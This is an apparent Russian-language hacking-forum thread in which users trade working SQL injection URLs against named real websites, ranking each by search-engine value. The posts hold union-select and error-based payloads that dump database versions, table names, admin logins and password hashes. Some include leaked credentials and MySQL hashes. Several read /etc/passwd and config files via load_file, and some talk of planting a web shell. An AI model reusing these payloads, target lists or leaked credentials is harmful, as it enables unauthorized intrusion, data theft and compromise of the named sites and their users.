https://www.uni-rostock.de/fakult/manafak/physik/poly/COST_P12/list_reg_individ_detail.php?pers_id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a, pers_user_name,pers_pw),11,12,13,14,15+from+person +--+

1flower.ru PR:1


Code:
http://www.1flower.ru/portfolio.php?id=1&ruid=7&pid=-15+union+select+1,2,username,passwd,5,6,7+from+use r+--+&tip=project

hr-personal.ru


Code:
http://hr-personal.ru/publication/index.php?publ_id=-6+UnIOn+sELEct+1,2,group_concat(table_name),4,5,6+ from+information_schema.tables+group+by+table_sche ma+--+

buyerpower.co.uk


Code:
http://www.buyerpower.co.uk/recruitment_detail.php?RuID=-1556+union+select+1,2,table_name,4,5,6,7,8,9,10+fr om+information_schema.tables+--+

[Konqi]

http://www.1800law1010.com/news2/news.php?id=1+and+substring(version(),1,1)=6+union +select+1,2,group_concat(user_login,char(58),user_ pass),4,5+from+wp_users

[av1]

Code:
http://www.stompdown.ca/index.php?view=videos&type=member&user_id=-62%20%20+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,c oncat_ws(0x3a,user(),version(),database()),14,15,1 6,17,18,19,20,21,22,23,24,25,26,27--&option=com_jomtube&Itemid=58

Username: stompdow_jo151@localhost

Version: 5.1.48-log

Database: stompdow_jo151

Google PR: 5

[0pTik]

Code:
http://fpkp.ulsu.ru/articles.php?article=-10+UNION+SELECT+1,cast%28version%28%29+as+char%29, 3--+



Code:
http://www.brokfin.ru/show.php?page=16&id=-26+UNION+SELECT+VERSION%28%29,2--


ТИЦ 110 PR 4

[brutos]

www.colliers.spb.ru

ТИЦ: 80, PR: 4


http://www.colliers.spb.ru/news/print-news.php?nid=-387'+union+all+select+1,concat_ws(0x3a3a,version() ,user(),database()),3,4,5,6,7,8+and+'x'='x


www.eurica.ru

ТИЦ: 20, PR: 2


http://www.eurica.ru/products.php?page=70&order=terms_delivery&desc=1&id_cat=5'+and+1=2+union+select+1,2,3,4,5,6,7,8,9,1 0,11,concat_ws(0x3a3a,version(),user(),database())/*




http://www.eurica.ru/products.php?page=70&order=terms_delivery&desc=1&id_cat=5'+and+1=2+union+select+1,2,3,4,5,6,7,8,9,1 0,11,table_name+from+(select+*+from+(select+*+from +information_schema.tables+where+table_schema=0x65 7572696361+order+by+table_schema+limit+0,1)t+order +by+table_schema+desc)t/*


www.ice-cream.nw.ru

ТИЦ: 10, PR: 2


http://www.ice-cream.nw.ru/article.phtml?izd=-9+union+select+1,concat_ws(0x3a3a,version(),@@vers ion_compile_os,user(),database())


www.russia-hostelling.ru

ТИЦ: 60, PR: 5


http://www.russia-hostelling.ru/news/?id=63'+and+1=2+union+select+1,concat_ws(0x3a3a,ve rsion(),user(),database()),3,4,5,6/*

[tracy]

http://www.oscilloscope.net/shop/view_film.php?ID=11+and+1=0+UnIon+selECt+1,2,conca t_ws(0x3a,ADMIN_EMAIL,ADMIN_PASS),4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35,36,37,38,39+from+admin+--+

Шоп, кто хеш снимит киньте в пм..ради интереса )

ТИЦ : 10

[0pTik]

Code:
http://www.mitq.org/print/?l=rus&dir=2&news=-73+union+select+1,2,version%28%29,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21--

Тиц 30 PR 3

[AC//DC]

компьютерные технологии ARTIKS

http://www.artiks.ru/consultant_text.php?id=-3461+and+1=2+union+select+1,2,concat_ws(char(58),@ @version,user(),database(),@@version_compile_os),4 ,5,6,7,8,9,10,11,12,13+--

version : 4.0.27-log

user : aryabov@pm2.zenon.net

database : aryabov

os : pc-linux-gnu

[Zombi ****]

http://www.heroworld.net/news.php?id=-957+union+select+1,2,3,version(),5,6,7,8,9,10--

http://www.m-angel.ru/gallery.php?id=2&gid=-6+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x78 73716C696E6A626567696E,Version(),0x2F2A2A2F,Databa se(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x7 1),0x71),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34, 35,36,37,38,39,40--

Database Version: 4.1.22

Database name: a1806_angel

User name: a1806_angel@lbarbero-6.m-10.ru

ТИЦ10YC(R2) PR2

http://www.edwardmiller.co.uk/gallery.php?id=-14+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17--

[Konqi]

http://www.couplesforchrist.us/news.php?id=-189+union+select+1,2,3,4,version(),6,7,8,9,10,11,1 2,13,14,15

http://agcajaoestate.org/news.php?id=5+union+select+1,2,3,4,5

[stepashka_]

Code:
http://www.torgnik.ru/ind.php?pn=1&id_typ=-7+union+select+1,2,3,4,5,6,concat_ws(0x3a,version( ),database(),user()),8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28--+

4.0.26:torgni:torgni@aqua3.di-net.ru

тиц 10

PageRank 2

[brutos]

www.brandmaster.su

ТИЦ: 10, PR: 3


Code:
http://www.brandmaster.su/item3.php?sID=7&cID=58+union+all+select+1,concat_ws(0x3a,version() ,user(),database())/*

corporation22.com

ТИЦ: 40, PR: 3


Code:
http://corporation22.com/index.php?article=-19+uNIon+sELect+cONcat_wS(0x3a3a,version(),user(), database())#content

Убрал бояны.)) Тяжко тут, в поиске ничего не находится.

[Zombi ****]

http://www.bonsaitrees.com/gallery.php?id=-4+UNION+SELECT+1,2,version(),4,5,6,7,8,9--

Database Version: 4.1.20

Database name: bonsai

User name: bonsai@localhost

ТИЦ10(R2) PR4

[547]

Code:
http://www.bossybootskidz.com/index.php?page_id=brand&brandid=-344+uNiOn+seLeCt+1,version%28%29,3,4,5,6,7,8,9,10, 11,12%20--+

5.0.81

[tracy]

http://www.ekmi-mebli.com/ru/news/?cid=43&nid=829+and+1=0+UnIon+selECt+1,2,3,4,5,concat_ws(0 x3a,id,login,pass),7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23+from+vacuums_users+limit+0,1--+

ТИЦ : 50 PR: 3


Админка - /admin
ekmi:qawzsexdrcft


view-source:http://www.bestaqua.ru/product_info.php?products_id=6805+and+1=0+union+se lect+1,group_concat(table_name),3+from+information _schema.tables+where+table_schema=0x3167625f626573 7461717561--+

ТИЦ : 120


http://www.stiltour.ru/?v_id=1+and+1=0+union+select+1,2,3,4,5,6,concat_ws (0x3a,login,pass),8+from+user+--+

ТИЦ : 20 PR: 3

http://www.taurus-grupp.ru/?page=katalogpokaz&id=145'+and+1=0+union+select+concat_ws(0x3a,name,p ass),2+froM+users--+

ТИЦ : 10

[Gedj]

Code:
http://www.vectorplus.ru/vacancy_view.php?id=-73+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17+from+information_sc hema.tables--

[tracy]

http://www.arkaim.biz/?razdel=articles&id=91+and+1=0+union+select+1,2,concat_ws(0x3a,id,l ogin,password),4,5,6,7+from+a_admin_users+limit+1, 1+--+

тИЦ:50

ursaeva:*8221CF8643CF5F9646F179F96BAAFD24E232D992: 25021978

Админка - /admin.php

[SofiaLoar]

http://www.bakli.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.benakvista.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.saltykov.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.dostoevskiy.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.bellou.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.andhazi.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.agnon.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.levtolstoy.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.ershov.org.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6

http://www.biy.net.ru/lib/ar/author/-1+union+select+1,2,concat_ws(0x3a,user(),version() ),4,5,6


Дальше лень было искать.

Google it:

Сайт работает под управлением системы "Электронный библиотекарь" 4.7

[547]

4.1.25

dbuser@localhost

portbld-freebsd7.2


Code:
http://www.4baby.com.ua/index.php?id=-6145+union+select+concat(login,0x3a,password,0x3a, admin)+from+users+limit+1,2

file_priv=Y

[0pTik]

Code:
http://bespredel.org.ua/content.php?act=show&id=-129%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SE LECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203 %

29x%20GROUP%20BY%20CONCAT%28MID%28concat%28user%28 %29,0x3a,version%28%29,0x3a,database%28%29%29,%201 ,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29%20--



MySQL 5

Тиц 10

[Konqi]

http://www.theivoice.info/products.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,us erid,password),11,12,13,14,15,16,17,18,19+from+the ivoice_admin_user

[Kusto]

http://www.alobelo.com.br/info-mix.php?id=-9+union+select+1,concat(user,char(58),password),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+fr om+user+--+

http://www.instituteofurology.org/res.php?page=trial&id=-2+union+select+1,concat(email,char(58),password),3 ,4,5,6,7,8,9+from+users+--+

[Gedj]

Code:
http://www.specialradio.ru/mkz/?id=-5+union+select+1,group_concat(table_name),3,4,5,6, 7,8,9+from+information_schema.tables--

[av1]

Code:
http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=-15554+UNION+SELECT+1,concat_ws%280x3a,user%28%29,v ersion%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18+from+ob_gesamtindex--

Username: user19085@web43

Version: 5.0.77-log

Database: db1908501

Google PR: 6

Joomla

[Konqi]

http://gallery.wittnet.at/index.php?cmd=change_group&cmd_value=14+union+select+cast(version()||chr(58)| |user as int),null,null,null,null,null,null,null,null,null, null,null+from+pg_user;--

[stepashka_]

Code:
http://calarasi-info.com/ind.php?pn=0&id_categ=-13+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user()),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27--+

5.0.90-community-log:calarasi_new:calarasi_new@localhost

PageRank 2

http://calarasi-info.com/Admin/

[0pTik]

Code:
http://www.fondazione-crmo.it/staticpage.php?id=-1+union+select+1,2,3,4,version%28%29,user%28%29,7, 8,9,10,11,12,13--



PR 6

Тиц 10

[tracy]

http://paralet.ru/home/news/?id=27+and+1=0+union+select+1,concat_ws(0x3a,id,lo gin,pwd),3,4,5+from+users++limit+0,1--+

ТИЦ : 50

http://paralet.ru/admin

[moodoone]

Code:
http://meblisvit.lviv.ua/index.php?option=com_catalog&id=-2+union+select+1,2,version(),4,5--



Code:
http://www.e4dsky.com/news/news.php?id=-9+union+select+1,version(),3--



Code:
http://markosarts.com/news.php?id=-20+UnIon+selECt+1,2,3,4,5,version(),7,8+--+



Code:
http://ostbar.com.ua/news.php?pg=2&id=-408+UnIon+selECt+1,2,version(),4,5,6,7,8,9,10+poll _user--+

[Unknown]

Code:
http://cabelcenter.ru/cables.php?mark=1+and+1=0+union+select+1,concat_ws (0x3a3a,version(),user(),database()),3,4,5+--+

Version: 4.1.25

User: user@localhost

Database: kamakabe_catalog

PR: 2 CY: 20

[tracy]

http://www.khakensb.ru/index.php?id=23&news=87+and+1=0+union+select+1,concat_ws(0x3a,user name,userpass),3,4,5,6,7,8,9,10+from+Copy_of_Copy_ of_poll_1.poll_user--+

ТИЦ : 30

ОАО "Хакасэнергосбыт"

http://www.sitesozdat.com/view_post.php?id=121'+and+1=0+union+select+1,2,3,4 ,5,concat_ws(0x3a,id,user,pass),7,8,9,10,11+from+u serlist+--+

ТИЦ : 10

http://www.blikimag.ru/view.php?id=210'+and+1=0+union+select+1,2,3,4,5,6, group_concat(table_name),8,9,10+from+information_s chema.tables+where+table_schema=0x7a39303139365f62 6c696b69--+

ТИЦ : 20

[Unknown]

Code:
http://www.hockeypista.it/controllo/vedi_risultati.php?camp=-1+union+select+1,concat_ws(0x3a3a,version(),user() ,database()),3,4,5,6,7,8,9,10,11,12,13+--+

Интересный сайт под названием "Хокею писта" ^_^.

Version: 4.1.23-pro-gpl-log

User: SB7863_user2@81.88.49.7

Database: hockeypista_it_db1

PR: 3

[0pTik]

Code:
http://www.russellclub.ru/index.php?id_p=59+union+select+1,2,version(),4,5 --

Музон в тему)

Версия мускула 4.1.25-log

Тиц 10

PR 4


Code:
http://www.dvbellydance.ru/index.php?partid=19&id=-220%20OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SE LECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203 %29x%20GROUP%20BY%20CONCAT%28MID%28VERSION%28%29,% 201,%2063%29,%20FLOOR%28RAND%280%29*2%29%29%29%20--

Версия мускула 4.1.25-log

Тиц 10

PR 3


Code:
http://www.ru7ru.ru/article/index.php?id_article=-86+UNION+SELECT+1,2,3,group_concat%28TABLE_NAME%29 ,5,6,7,8,9,10,11,12,13,14%20FROM%20INFORMATION_SCH EMA.TABLES--

Версия мускула 5.1.36-log

Тиц и PR 0


Code:
http://mmj.ru/philology.html?&article=955%20%20OR%20%28SELECT%20COUNT%28*%29%20F ROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%2 0SELECT%203%29x%20GROUP%20BY%20CONCAT%28MID%28VERS ION%28%29,%201,%2063%29,%20FLOOR%28RAND%280%29*2%2 9%29%29%20--

Версия мускула4.1.25-log1



Тиц 110

Pr 3

[tracy]

view-source:http://news.74mail.ru/index.php?news_cat_id=-6+union+select+group_concat(schema_name)+from+info rmation_schema.schemata+--+

ТИЦ : 350PR:4

http://www.gazeta-unp.ru/archiveold.htm?id=1150+and+1=0+UnIon+selECt+1,2,3, 4,group_concat(table_name),6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26+from+informati on_schema.tables+where+table_schema=0x666f72756d+--+

ТИЦ : 1700-немалая пузомерочка )

http://www.jurcity.ru/?module=news&id=174+and+1=0+union+select+1,2,group_concat(table _name),4,5+from+information_Schema.tables+where+ta ble_schema=0x753431323736--+

ТИЦ : 20 PR: 1

http://www.profconsalt.ru/hotline/?id=40+and+1=0+union+select+1,2,3,4,version(),6,7, 8,9+--+

4.0.27-log

ТИЦ : 275 PR: 5

http://oz.com.ru/new/st.php?id=8722+and+1=0+union+select+1,2,version(), 4,5+--+&sl=4 - Боян!

4.1.21-log

ТИЦ : 40 PR:3

http://www.beyondcomparison.ru/articles.php?id=44+and+1=0+union+select+1,version( ),3,4,5,6,7+--+

ТИЦ: 10

4.1.25-log - опять 4ка = ((

[Zombi ****]

http://www.experienceqatar.com/templates/gallery.php?id=-35+UNION+SELECT+1,2,version(),4,5,6,7,8,9--

Database Version: 5.0.70-log

Database name: web02957

User name: web02957@webhost-1.nederhost.net

[Gedj]

Code:
http://mlmusic.38th.ru/album.phtml?id=-348+union+select+group_concat(table_name),2,3+from +information_schema.tables--

[Unknown]

Code:
http://www.pwemag.co.uk/index.php?page=1'+and+1=0+union+select+1,2,3,conca t_ws(0x3a,ADMIN_LOGIN,ADMIN_PASSWORD),5,6,7,8,9,10 ,11,12+from+admin+--+

Version: 5.1.48-COMMUNITY-LOG

User: WEB84-PLANTWORKS@LOCALHOST

Database: WEB84-PLANTWORKS

Admin panel: http://www.pwemag.co.uk/admin/login.php

PR: 3

Шелл льётся очень легко.

[Gedj]

Code:
http://www.susangail.com/php/shop.php?id=-2+union+select+1,group_concat(table_name)+from+inf ormation_schema.tables--



Code:
http://nfljerseyselling.com/shop.php?id=1&sid=-134+union+select+group_concat(table_name)+from+inf ormation_schema.tables--

[brutos]

Code:
http://www.equivet.ru/parent.php?parent=-47+union+select+1,group_concat(table_name)+from+in formation_schema.tables+where+table_schema=0x75383 03532+--+

version(): 5.0.90-log

PR: 3

[Мор0к]

ЛОЛ

Буагагага!!!

Сайт со смешной статьей - nbwnews.ru/article.php?id_article=226

Бага:

http://nbwnews.ru/article.php?id_article=-1+union+select+1,2,3,4,version(),6--

version DB is MySql 5xxx

Как говорят в народе - "Е**у и плачу=)))"

[0pTik]

Спать не хочется ))


Code:
http://www.evrocom.ru/news.php?id=-261%27+union%20select%201,2,3,4,cast%28version%28% 29+as+char%29,6,7,8,9+--+

Тиц 30

PR 1

Прошло 40 мин .......


Code:
http://www.ecom-info.spb.ru/news/index.php?id=-1359+UNION+SELECT%201,2,3,4,5,VERSION%28%29,7,8,9, 10,11,12,13,GROUP_CONCAT%28TABLE_NAME%29,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35%20%20FROM%20INFORMATION_SCHEMA.TABLES%20--


ТИЦ 240

PR 5

[R1dex]

Code:
http://studysphere.ru/work.php?id=443+and+ascii%28substring%28%28select+ table_name+from+information_schema.tables+limit+17 ,1%29,1,1%29%29%3E1



Code:
http://www.nordicschool.ru/main.php?id=314+and+1=0+UnIOn+SElect+version(),2--+

[tracy]

http://www.brokfin.ru/show.php?page=16&id=78+and+1=0+union+select+group_concat(schema_nam e),2+from+information_schema.schemata--

ТИЦ :110 PR: 4

://www.pressmarket.ru/text.html?id=-7+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema=0x706d5f64 62--

http://www.parket-market.com/catalog/?id=29+and+1=0+union+select+version()--

[Gedj]

Code:
http://www.domotdyha.com/catalog/?id=-107+union+select+1,2,group_concat(table_name),4+fr om+information_schema.tables--



Code:
http://www.williams-oliver.ru/item.php?id=-2306+union+select+group_concat(0x3a,password,login ),2,3,4+from+admins--

[попугай]

http://www.phils.uj.edu.pl/inst.php?i=-4+union/***yu*/select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15--&o=1

http://przetargi.adm.uj.edu.pl/tresc.php?Id=-437+union/*gjdgr**/select+1,2,3,version(),5,6,7,8,9,10,11,12,13--

http://gamell.fav.co.il/index.php?dir=app_misc&page=cg_links&op=cat&id=-491'+union+select+1,concat_ws(0x3a,user,password,f ile_priv,load_file(0x2f6574632f706173737764)),3+fr om+mysql.user/*

http://www.tierheim-weiden.de/index.php?faq=0&kat=2&kat2=12+union+select+1,2,concat_ws(0x3a,user,passw ord),4,5+from+user--

[Konqi]

http://www.ithl.org.il/author_info.asp?id=286+union+select+1,2,3,4,5,6,7, 8,9,10,11,12+from+msysaccessobjects

http://www.israaid.org.il/member_page.asp?id=11+union+select+1,2,3,4,5,6,7,8 ,9,10,11,12,13,14,15,16,17,18+from+msysaccessobjec ts

[Kusto]

какието игры

http://www.city-interactive.com/index.php?title=gamepage&m=-507+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,concat(login,char(58),pass),20,21,22,2 3,24,25,26,27,28,29,30,31+from+city_interactive3.P erson+--+

здесь пасс в исходнике

http://www.thehouseofgames.net/index.php?t=10&id=-167+union+select+1,2,password,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2 9,30,31,32+from+mysql.user+--+

[BrainDeaD]

Code:
http://www.waywaycn.com/tp_show.php?id=19397+and+(select+1+from+(select+co unt(0),concat((select+concat_ws(0x3a,database(),ve rsion(),user())),floor(rand(0)*2))+from+informatio n_schema.tables+group+by+2)a)--+

db_waywaycn_com:5.1.30-community-log:waywaycn_com@localhost1

PR4

[intNet]

Code:
http://alumni.ece.uprm.edu/news.php?id=1+and+1=0+union+select+concat_ws(0x3a, user,pass),2,3+from+users

edu, PR3

[stepashka_]

http://www.lost-and-found.ru/ind.php?id_typ=-5+union+select+1,2,3,4,5,6,group_concat(apass,char (58),name,char(58),email),8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23,24+FROM+job_admin_login--+

тиц 20

хз где эта админка..

[tracy]

view-source:http://www.uralkurort.ru/base.php?id_base=-109+union+select+1,concat_ws(0x3a,id_user,login,pa ss),3,4,5,6,7,8,9,10,11+from+users+limit+0,1--+

ТИЦ : 60


http://www.sib-market.info/ind.php?id_typ=102+and+1=0+union+select+1,2,3,4,5, 6,group_concat(table_name),8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24,25,26,27+from+informatio n_schema.tables+--+

ТИЦ : 10


http://www.doskaurala.ru/index.php?ci=6&cat=0+and+1=0+union+select+1,2,3,4,5,6--

ТИЦ : 60 PR: 3

[moodoone]

Code:
http://weblavka.com.ua/a-imglib/showimg.php?id=-4+union+select+1,2,version%28%29,4,5,6,7,8--

[stepashka_]

http://vd-dosug.ru/ind.php?id_typ=-54+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user()),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,26+--+

5.0.32-Debian_7etch6-log:auk:auk@localhost

http://vd-dosug.ru/Admin/

ТИЦ: 20

PR: 1

[SofiaLoar]

http://www.stoerche-bw.de/cms/comment.php?artikel=-1+union+select+1,2,convert(version()+using+latin1) ,4,5,6,7,8,9,10,11,12,13,14+--+

[AC//DC]

ТУРФЛОТ

http://www.turflot.ru/menuext.php?menuid=-23+union+select+1,concat_ws(@@version,user(),datab ase(),@@version_compile_os),3,4,5,6,7,8,9+--&Lang=

root@zvm4.host.ru4.0.27tourflot-test4.0.27zportbld-freebsd7

http://www.turflot.ru/menuext.php?menuid=-23+union+select+1,concat(0x3a,user,password),3,4,5 ,6,7,8,9+from+mysql.user--&Lang=

[tracy]

http://www.raminvestgroup.ru/ta.php?id=79+and+1=0+union+select+1,version(),3,4, 5,6,7,8,9,10+--+

4.1.25

ТИЦ : 30

http://www.mscg.ru/?mod=l&cat=1&id=6+and+1=0+union+select+1,2,3,4,5,group_concat(s chema_name),7,8,9+from+information_schema.schemata--+

ТИЦ : 10


http://www.briz-fm.ru/101/news.php?id_news=15+and+1=0+union+select+1,concat_ ws(0x3a,id,login,pass),3,4+from+host6526_7.briz_us ers_101+limit+0,1--

ТИЦ : 10


http://e-mind.ru/portfolio/?cat_id=3+and+1=0+union+select+1,group_concat(sche ma_name)+from+information_schema.schemata--+

ТИЦ : 30


http://www.itcenter.ru/0-news-1.html?id=277+union+select+group_concat(table_name ),2,3,4+from+information_schema.tables+--+

ТИЦ : 80

[AC//DC]

http://www.govoritmoskva.ru/articles.php?show=all&cat=5+or+(1,1)=(select+count(0),concat((select+tab le_name+from+information_schema.tables+limit+1+off set+16

),floor(rand(0)*2))from(information_schema.tables) +group+by+2)--+

большое спасибо Konqi

багу админы уже прикрыли

[Terminolog]

Code:
http://songsofpraise.org/song.php?songid=299-999.9+union+select+1,2,3,4--

ТИЦ 20

[tracy]

http://www.jghouse.fi/search.php?type=43+and+1=0+union+select+concat_ws( 0x3a,login,password,level)+froM+pmr_admins+--+

ТИЦ : 20

Риэлторские улуги ))

http://www.setevoi.ru/new/mags/index.php?op=article&id=45+and+1=0+UnIon+selECt+1,2,group_concat(table_ name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25+from+information_schema.tables+whe re+table_schema=0x73657465766f69+--+

ТИЦ : 475 PR: 3

Журнал:Сетевой , для ИТ проффесионалов,нах )

http://www.saabzauto.ru/index.php?news=1+and+1=0+union+select+1,group_conc at(schema_name),3,4+from+information_schema.schema ta+--+

ТИЦ :100

[Sajeys]

http://rucoin.ru/top100/stat.php?iduser=-184+union+select+1,2,3,4,5,6,7,concat_ws(0x27,logi n,password,name,privilege),9,10,11,12,13,14,15,16, 17,18,19,20,21,22+from+d_users+limit+1,1

[Axel_Ustus]

http://www.protexin.com/aquatech/news.php?news_id=-2+union+select+1,version()--

мой непосильный вклад)

[Terminolog]

Code:
http://ww2db.com/read.php?read_id=21-999.9+union+select+1,2,3,4,5,6,7,8--

TИЦ 20


Code:
http://mb.shopex.cn/match2008/templatedetails.php?id=118-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15--



Code:
http://www.theotherjournal.com/article.php?id=452-999.9+union+select+1,2,3,4,5,6--



Code:
http://www.no-smoke.org/learnmore.php?id=645-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

ТИЦ 20


Code:
http://climaterealists.com/index.php?id=3047-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20--



Code:
http://www.almubadara.org/new/edetails.php?id=6125-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20--

ТИЦ 10


Code:
http://www.coussouleforcongress.com/index.php?page=pressrelease&content=extended&id=22-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4--



Code:
http://www.mtexpress.com/index2.php?ID=2005131577-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17--

ТИЦ 10


Code:
http://climaterealists.com/index.php?id=6294-999.9+union+select+1,2,3,4--



Code:
http://www.modelminority.com/joomla/index.php?option=com_content&view=article&id=322:in-florida-japanese-americans-endure-slurs-echoes-&catid=47:society&Itemid=56-999.9+union+select+1,2,3,4,5--

ТИЦ 10


Code:
http://www.lyricshotspot.com/song.php?sid=47139&aid=13376-999.9+union+select+1,2,3,4--

Повторов нет.

[nemaniak]

www.dynamicchiropractic.ca PR-5


Code:
http://www.dynamicchiropractic.ca/mpacms/dc/article.php?id=-53663+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_w s%280x3a,version%28%29,user%28%29,database%28%29%2 9,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30,31,32,33/*



Code:
4.1.21-standard:mpacms@localhost:mpacms


www.mta.ca PR-7 ТИЦ-130


Code:
http://www.mta.ca/news/index.php?id=-612+union+select+1,concat_ws%280x3a,version%28%29, user%28%29,database%28%29%29,3,4+--+



Code:
5.0.77:news@localhost:news


ctvmedia.ca PR-6


Code:
http://ctvmedia.ca/ctv/releases/release.asp?id=10920+or+1=@@version&yyyy=2008



Code:
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[intNet]

PR4


Code:
http://www.ece.uk.com/news.php?newsid=10+and+1=0+union+select+concat_ws( 0x3a,loginid,password,type),2,3,4,5+from+adminuser _ece

/admin/

[Sajeys]

http://predict.rediff.com/member_profile.php?mem_id=-118705%20union%20select%201,2,3,4,CONCAT(0x6472385 %20F3838777777333371,LOAD_FILE(0x2F6574632F7061737 377%2064),0x686874666638385F363632),6,7,8,9,10,11, 12,13,%2014,15%20from%20mysql.user

[tracy]

http://www.iteam.ru/articles.php?pid=1&tid=2&sid=15&id=118+and+1=0+union+select+1,2,unhex(hex(version( ))),4,5,6,7+--+

4.1.7-log
ТИЦ:1600

[Kusto]

онлайн магазин- картон выводить не стал

http://www.31girl.com/shop.php?pid=-1+union+select+1,2,3,4,lastip,6,7,8+from+i31girl_c ms.31girlpages+--+

и еще какойто магазин

http://www.witex-rus.ru/shop.php?action=cat&pid=18+and+1=0+union+select+1111,2222,concat(login ,char(58),passwd),4444,5555,6666,7777+from+witexru 3.dilers+limit+1,1+--+

и еще один магазин

http://www.parador-rus.ru/shop.php?action=price&pid=17&cat=42+and+1=0+union+select+1,2,3,concat(email,cha r(58),pwd),5,6+from+kameo_polzov+--+

и еще

http://www.appcraft.org/shop.php?pid=45&kid=53+union+select+concat(user,char(58),passwd)+f rom+user+limit+1,1+--+

результат между тегами- титл

и еще

http://in-green.com.ua/shop.php?pID=4343+and+1=0+union+select+1,2,user_pa ssword,4,5,6,7,8,9,10,11,12,13,14,15+from+administ rators+--+

[tracy]

http://www.avtoweb.com/index.php?sl=history&id=3+and+1=0+union+select+concat_ws(0x3a,converge_ pass_hash,converge_pass_salt),2,3+from+avtoweb_for um.ibf_members_converge--+

Нету привелегий на запись шелла в админцентре
ТИЦ : 150 PR: 4

[daniel_1024]

http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,version( )--

PR: 6 Tcy: 20

Database Version: 5.0.51a-3ubuntu5.7

Database name: personal

User name: webman@localhost

OC type: debian-linux-gnu

File_priv: Y

Тащим пароли:

root@localhost:*0CA25A7460DE36F573955BB6CC1037119D 430775

debian-sys-maint@localhost:*8555C67D4351FEBBCF51BDDFD449C54C3 11E0C51

webman@localhost:*A07537A34A4A4C6485AA51D2A3C32973 C954D5A6

http://www.imedea.csic.es/phpMyAdmin/index.php - 200 OK

Кое-что интересное:


-------------------------------------------------------
LFI/Reader/Load_file() - unvisual error when wrong query
-------------------------------------------------------
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/vsftpd.conf
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/mysql/my.cnf
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/ssh/sshd_config
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/passwd
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/var/log/apache2/error.log
')


Итог: есть файловые привилегии, mq=off, путь до сайта можно посмотреть в логах ошибок апача

Льём шелл

[Konqi]

http://www.turkeyrus.com/rusorgs2.asp?ID=4+union+select+1,2,3+from+msysacce ssobjects

